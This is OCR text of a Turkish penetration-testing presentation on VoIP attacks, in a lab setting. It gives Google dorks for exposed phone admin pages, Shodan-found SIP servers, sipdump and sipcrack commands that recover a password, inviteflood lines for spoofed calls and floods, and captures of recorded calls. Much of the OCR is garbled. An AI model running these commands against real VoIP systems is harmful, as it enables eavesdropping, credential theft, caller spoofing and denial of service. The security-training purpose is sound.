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Konusmaci Hakkinda

* Bilgi Glvenligi Danismani ve Egitmen
— Bilgi GUvenligi AKADEMISI (www.bga.com.tr)
* Penetration Tester

* Blog Yazari
— blog.bga.com.tr
— www.cehturkiye.com
* |letisim
— Skype: ozan.ucar
— Eposta: ozan.ucar@bga.com.tr

— Twitter: #ucarozan



e Sunum Suresi 45 dakikadir.

* Pratik Uygulamalar Icermektedir.

* Teknik ayrintilar fazlaca yer almamaktadir.

* Sunum sonunda soru cevap kismi olacaktr.




INEI[F

VOIP Saldiri Teknikleri

* Bilgi Toplama

e Servis Disi Birakma Saldirilari

* Kayit degisikligi ve Manipulasyon
e Kimlik Dogrulama Saldirilari

* Yetkisiz Arama

e Trafigin Yetkisiz Dinlenmesi

e Trafigi izleme

* Pasif ve Aktif Dinleme

* Internet Telefonlari Uzerinden Spam Génderme (SPIT)
e VolP Oltalama Saldirilar (Vishing)




INEI[F

VOIP Saldiri Teknikleri

* Local & Remote Exploitler

e Bilisimin Yer Alti Dinyasinda Ekonomik Getirisi

* Sosyal Muhendislik Saldirilari icin VoIP Sistemler




VolIP Sistemlerin Kesfi

Amacg :
VOIP sistemleri tespit etmek ve bilgi toplamak

Kullanilacak Araclar :
Smap

Svmap

Nmap

Shodanhq

Google




VolP Sistemlerin Kesfi | Uygulama

# ./smap -0 voip.bga.com. tr
<hs@l23.o0rg> http://www.wormulon.net/
+ ICMP reachable, SIF enabled
% sure) fingerprint:
(unknown version)

v Asterisk PBX

1l host scanned, 1 ICMP reachs , 1 SIP enabled (100,0%)




VolP Sistemlerin Kesfi | Uygulama

Shodanhq Arama Motoru

Turkiye’de bulunan disariya acik SIP sunucular
(21651 tane!) a0

f*"‘aya Via: SIP/2.0/UDP 33 88.189 86:5060;branch=29hG4bK-770101527 rport;reccived=184 82 238 216

Details From: "default"<sip:default@188.3.194.137>; tag=6263303363323839313363340134
To: "default"<sip:default@188.3.194.1 ag=as()6495d1e
Call-ID: 847 2880255129046
CSeq: 1 OPTIONS
User-Agent: Pirelli Broadband Solutions/Discus Platform/DWV_KOC_4.3.1.0029
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, UPDATE, INFO

[ J [ J Contact: <sip:188.3.194.137 ..
Arama Filtresi:
* 188.3.133.214

SIP/2.0 200 OK

B Ankara

From: "default"<sip:default@188.3.133 214>;tag=6263 356436313363340134

Details
”

° ° To: "default"<sip:default@188.3.132 tag=10158320-d68503bc-13c4-4da076c9-58bd8397-
CO u I l ry ° r p O r ° Call-ID: 672462348405893917393150
CSeq: 1 OPTIONS
Allow: INVITE ACK ,CANCEL BYE ,OPTIONS REFER INFONOTIFY INVITE ACK ,CANC

L BYE OPTIONS REFER INFO !
Accept: application/sdp .application/sdp

Supported: replaces timer,100rel

Via: SIP2.0/UDP 3

22 .8:5060;received=184.82.238.216:rp

85.103.190.141
SIP/2.0 200 OK

B st
B 1stanbu Via: SIP/2.0/UDP 41.33.150..

Details

From: "default” <sip:default@

90.141>;tag=bRI-5022

To: "default” <sip:default@85.103




VolP Google Hacking Database

Asterisk Management Portal:
intitle:asterisk.management.portal web-access

Cisco Phones:
inurl:"NetworkConfiguration" cisco

Cisco CallManager:
inurl:"ccmuser/logon.asp”

D-Link Phones:
intitle:"D-Link DPH" "web login setting”




VolP Google Hacking Database

Grandstream Phones:
intitle:"Grandstream Device Configuration" password

Linksys (Sipura) Phones:
intitle:" SPA Configuration”

Polycom Soundpoint Phones:
intitle:"SoundPoint IP Configuration”

Snom Phones:
"(e.g. 0114930398330)" snom




Kimlik Dogrulama Saldirilari

Amacg :
Voip kullanicisina ait hassas bilgileri ele gecirmek.

Kullanilacak Aracglar :
Arpspoof

Sipdump

Sipcrack

Tcpdump




Kimlik Dogrulama Saldirilari

* VolIP istemcisi SIP sunucuya kayit olmak icin
REGISTER mesaji gonderir.

 REGISTER mesajinin iceriginde, voip
cullanicisinin caller id, ip adresi, parola bilgisi
ve SIP extensionlari bulunmaktadir.

* VolIP kullanicisinin parolasi, MD5 olarak
gonderilir ve ele gecirildigi durumda kirilabilir.




Kimlik Dogrulama Saldirilari| Uygulama

Sipdump

Arp spoofing yaparak network trafigi izlenerek,
Sipdump araciligi ile sip register bilgileri elde
edilir.

# ./sipdump -1 ethl sip.lst

5IPdump 0.3 ( MalJoMu | www.codito.de )

* Using dev 'eth@' for sniffing
" Starting to sniff with packet filter 'tcp or udp or vlan'

-
|}

MR R R R R

» 85,95,235.171 (User:

* Dumped login from 85.95,238.:
* Dumped login from 85,95

* Dumped login from 85,95

* Dumped login from 85,95

* Dumped login from 85,95

* Dumped login from 85.95.238

/3 (User:
(User:
/3 (User:

(User:

i3 (User:




Kimlik Dogrulama Saldirilari| Uygulama

Sipcrack

Sip.Ist dosyasina yazilan sip auth. bilgileri, brute
force yontemi ile kirilabilir. (Parola: istanbul)

¥ . /sipcrack -w /pentest/passwords/wordlists/darkc@de.lst sip.lst

SIPcrack 0.3 I MaJoMu | Wwww, codi to,«

* Found Accounts:

Mum Server Client

1 85.95.238.171 85.95.238.172

* Select which entry to crack (1 - 1): 1

* Generating static MDS hash... a65cd4775ecSaae

* Starting bruteforce against user 'l' (MD5S: 'fd27ebSbiccatbt3icialdaed29bb3leddb’)
* Loaded wordlist: '/pentest/passwords/wordlists/darkc@de.1lst’

* Starting bruteforce against user 'l' (MD5: 'fd27ebSbS8ccattic3ialdaed29bb3ed4db’)

* Tried 18 passwords in 0 seconds

* Found password: 'istanbul'
* Updating dump file 'sip.lst'... done




Yetkisiz ve Sahte Numaralarla Arama

Amacg :

Bu saldiri tirtinde amac yetkisiz olarak farklh bir
kullanici adina, bir hedefi arayip mesgul etmek ve

sosyal muhendislik saldirilarina zemin hazirlamak/
gelistirmektir.

Kullanilacak Araglar :
Inviteflood
Metasploit




Yetkisiz ve Sahte Numaralarla Arama

Saldirgan (), Omer ALBAYRAK (3) voip
kullanicisini PATRON kullanicisi adina ariyor.

Cagriy1 baslatmak icin invite mesajlari

gonderilirken, génderici ip adreside spoof
edilebilir. UDP PORT 5060

# ./inviteflood eth@ 3 85.95.238.172 85.95.238.171 1 -a




Yetkisiz ve Sahte Numaralarla Arama

“ N .. “

“ .. “

leer: |so l] Expression... Clear Apply Save
|Tlme |Sourcr;- |Desl|nanon |F‘rotocci ILenglh IIrfo
2048 12.6920900 85.95.238.173 85.95.238.171 SIP/SDF 1120 Request: INVITE sip:3@85.95.238.172, with session descrij
2052 12.7455880 85.95.238.171 B5.95.238.173 SIP 420 status: 180 Ringing
2053 12.746163085.95.238.173 35 3.171 448 pestination unreachable (Port unreachable;
2552 16.9283610 85.95.238.172 85.95.238.171 SIP 663 Reguest: OPTIONS sip:3@85.95.238.171:5060;rinstance=78e8¢
2553 16.9290150 85.95.238.171 85.95.238.172 SIP 681 Status: 200 OK
Current call
Codec : u-law Type : SIP
State : Ringing
[P ZoIPER X
I Phonz to dial |
Frame 2048: 1120 bytes on w ‘vl 0 bits) on interface 0
Ethernet II, Src: vimware_ee —— — —— ~la:ae:dd (00:0c:29:3a:ae:dd)
Internet Protocol Version 4 d GBI B IFE) L [ & 7olPeErR Incoming call X
User Datagram Protocol, Src J Caller
session Initiation Protocol - { \
| 1 I 2 I 3 I 2 I : PATRON
L= et e e Accept J ‘ Reject [ Ignore J
I 1\’ —U—
Account
Omer ALBAYRAK (Registered) (|~ L Unregister J

J




Pasif ve Aktif Dinleme

Amac :
Voip trafiginde araya girip ses akisini yakalamak.

Kullanilacak Araglar :
Ettercap

wireshark

Ucsniff

Arpspoof




Pasif ve Aktif Dinleme

. Caller ID: Huzeyfe ONAL
Caller ID: Ozan UCAI'\l UserName: 2

UserName: 1

Caller ID: Omer ALBAYRAK
UserName: 3




Pasif ve Aktif Dinleme | Uygulama

e Saldirgan yerel agda, SIP server ile voip kullanici
arasindaki trafikde araya girer ve voip
gorusmelerini kaydeder.

* Kaydedilen trafigi decode edip oynatarak,
gorusmeleri dinleyebilir.

* Bu senaryoda iki iphone cihaz lizerine softphone
yazilimlari kullanilarak SIP server (izerinden
haberlesme saglanmis ve saldirgan bu trafigi
izleyerek gériismeyi kayit altina almistir.




Pasif ve Aktif Dinleme | Uygulama

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

S aoes EEXESE AT IR IBE QQ B MM X

Filter: | rtp + | Expression... Clear Save
Mo, Time Source Destination Protocol  Length Info
1497 14.932375 85.95.238.171 85.95.238.172 RTP 214 PT=ITU-T G.711l PCMU, SSRC=0x64D11FC, Seq=4946, Time=3780494588, mark
1500 14.947872 85.95.238.171 85.95.238.172 RTP 214 PT=ITU-T G.711 PCMU, SSRC=0x64D11FC, Seq=4947, Time=3780494748
1503 14.979106 85.95.238.171 85.95.238.172 RTP 214 PT=ITU-T G.711 PCMU, SSRC=0x64D11FC, Seq=4948, Time=3780494508
1504 14.9594744 85.95.238.171 85.95.238.172 RTP 214 PT=ITU-T G.711 PCMU, SSRC=0x64D11FC, Seq=45949, Time=3780495068
1507 15.010366 85.95.238.171 85.95.238.172 RTP 214 PT=ITU-T G.711l PCMU, SSRC=0x64D11FC, Seq=4950, Time=3780495228
1508 15.025990 85.95.238.171 85.95.238.172 RTP 214 PT=ITU-T G.711l PCMU, SSRC=0x64D11FC, Seq=4951, Time=3780495388
1511 15.057254 85.95.238.171 85.95.238.172 RTP 214 PT=ITU-T G.711l PCMU, SSRC=0x64D11FC, Seq=4952, Time=3780495548
1512 15.072825 85.95.238.171 85.95.238.172 RTP 214 PT=ITU-T G.711l PCMU, SSRC=0x64D11FC, Seq=4953, Time=3780495708
1513 15.088435 85.95.238.171 85.95.238.172 RTP 214 PT=ITU-T G.711 PCMU, SSRC=0x64D11FC, Seq=4954, Time=3780495868
1537 15. 119@,72 R5 G5 23R 171 R5 G5 23R 172 RTP 214 PT=TTII-T 3 711 PrMil__SSRC=N¥ARINTI1E~  San=4055 Time=37RN4GAN?R

1549 15.135:@ Jd_J

1552 15.150¢
1569 15.166
1589 15.1977 Detected 1 VoIP Call. Selected 1 Call.

15594 15.213€ start Time 4 Stop Time 4 Initial Speaker 4 From 4 To 4 Protocol 4 Packets 4 State 4 Comments 4

1595 15.228¢ 4,433599 36,127376  85.95.238.172 "Ozan UCAR" <sip:1@85.95 <sip:3@85.95.238.171:506(SIP 6 COMPLETED =
MTEQA 18 2444

Frame 14587:
Ethernet II,
Internet Prd
User Datagra
Real-Time Tn 5

+

0000 00 0cC 29 Total: Calls: 1 Start packets: 0 Completed calls: 1 Rejected calls: 0

0010 00 c8 62
C

0030 ¢4
0040 ff FF ff
0050 ff ff Ff ff ff ff ff ff ff ff ff ff ff ff £f ff
0060 ff ff Ff ff ff Ff ff ff ff ff ff Ff ff £f Ff ff
0070 ff ff ff ff ff ff ff ff ff ff ff Ff ff £f Ff ff
0080 ff ff ff ff ff Ff ff ff ff ff ff Ff ff ff Ff ff
0000 ff ff Ff ff ff Ff ff ff ff ff ff Ff ff £f Ff ff
00a0 ff ff Ff ff ff Ff ff ff ff ff ff Ff ff £f Ff ff
00bo ff ff Ff ff ff Ff ff ff ff ff ff Ff ff £f Ff ff




Pasif ve Aktif Dinleme | Uygulama

e Ses Gorusmelerini Dinleme

Ss 16s 17s 18s 19s 20s 21s 22s 23s 24s 25s 2

[] From 85.95.238.171:8000 to 85.95.238.172:12918 Duration:21,18 Drop by Jitter Buff:0{0,0%) Out of Seq: 0(0,0%) ‘Wrong Timestamp: 0(0,0%)

—— 4Rt - -

Ts 18 s 19s 20 s 21s 22s 23s 24 s 25s 26 s 27s 2
< ?
[] From 85.95.238.172:12918 to 85.95.238.171:8000 Duration:20,57 Drop by Jitter Buff:1(0,1%) Out of Seq: 0(0,0%) Wrong Timestamp: 5(0,5%)

[] view as time of day

Jitter buffer [ms] |50 <[] use RTP timestamp




DDQOS Saldirilari

* inviteflood : Ayni anda yuzlerce cagri !
.Jinviteflood ethO 3 85.95.238.172 85.95.238.171 100 -a ozanus

& 70lPER Incoming call

Current call

& 70/PER Incoming call

|- Caler
1 {DATRON

. [ Accept ] Reject ][ Ignore

J

rCaller
0zanus

(x)

[ Accept [ Reject H Ignore ]

& ZolPER Incoming call
Caller
PATRON

[ Accept ][ Reject ][ lgnore ]

~ -

PEEEEEEE 08 &1

e [ 2 T 3 | 4 | s | ¢ ]

[ a

Ol @ ZolPeR Incoming call
Caleer
|| PATRON

[ Accept ] Reject ][ lanore

)

@ 70lPeER Incoming call
Caler
PATRON

Accept ][ Reject [ Ignore ]

www.bga.com.tr

23




Sosyal Muhendislik Saldirilari

http://calleridfaker.com/
LETS BEGIN!
My Number
Number to Call

Fake Caller ID

Voice Changer -

www.bga.com.tr 24



Kaynaklar

e Kitaplar
— Hacking Exposed VolP

— Practical VolP Security




Kaynaklar

* Sunum Meteryalleri

— www.bga.com.tr/calismalar/sip.Ist

— www.bga.com.tr/calismalar/sip voice.pcap




Tesekkurler

istanbul 2012



